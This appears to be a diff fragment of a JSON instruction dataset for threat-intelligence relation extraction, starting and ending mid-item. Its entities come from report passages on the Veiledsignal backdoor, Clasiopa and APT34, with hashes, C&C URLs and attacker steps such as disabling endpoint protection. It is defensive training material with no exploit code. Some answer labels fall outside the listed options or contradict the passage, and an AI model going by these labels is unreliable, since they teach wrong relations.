'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce\n### Target Entity: Veiledsignal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345\n### Target Entity: Veiledsignal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae\n### Target Entity: Veiledsignal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nVeiledsignal\n### Target Entity: C&C\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n",
+        "output": "<label>communicates-with</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nVeiledsignal\n### Target Entity: Chrome\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n",
+        "output": "<label>drops</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nVeiledsignal\n### Target Entity: Edge\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n",
+        "output": "<label>drops</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nVeiledsignal\n### Target Entity: Firefox\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n",
+        "output": "<label>drops</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nClasiopa\n### Target Entity: Agile DGS\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nClasiopa\n### Target Entity: Agile FD\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nClasiopa\n### Target Entity: PowerShell\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nClasiopa\n### Target Entity: wsmprovhost\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nClasiopa\n### Target Entity: SepMasterService\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nClasiopa\n### Target Entity: Sysmon\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nClasiopa\n### Target Entity: Domino\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nDevicesSrv.exe\n### Target Entity: MSIL.REDCAP.A\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nMSIL.REDCAP.A\n### Target Entity: EWS\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s 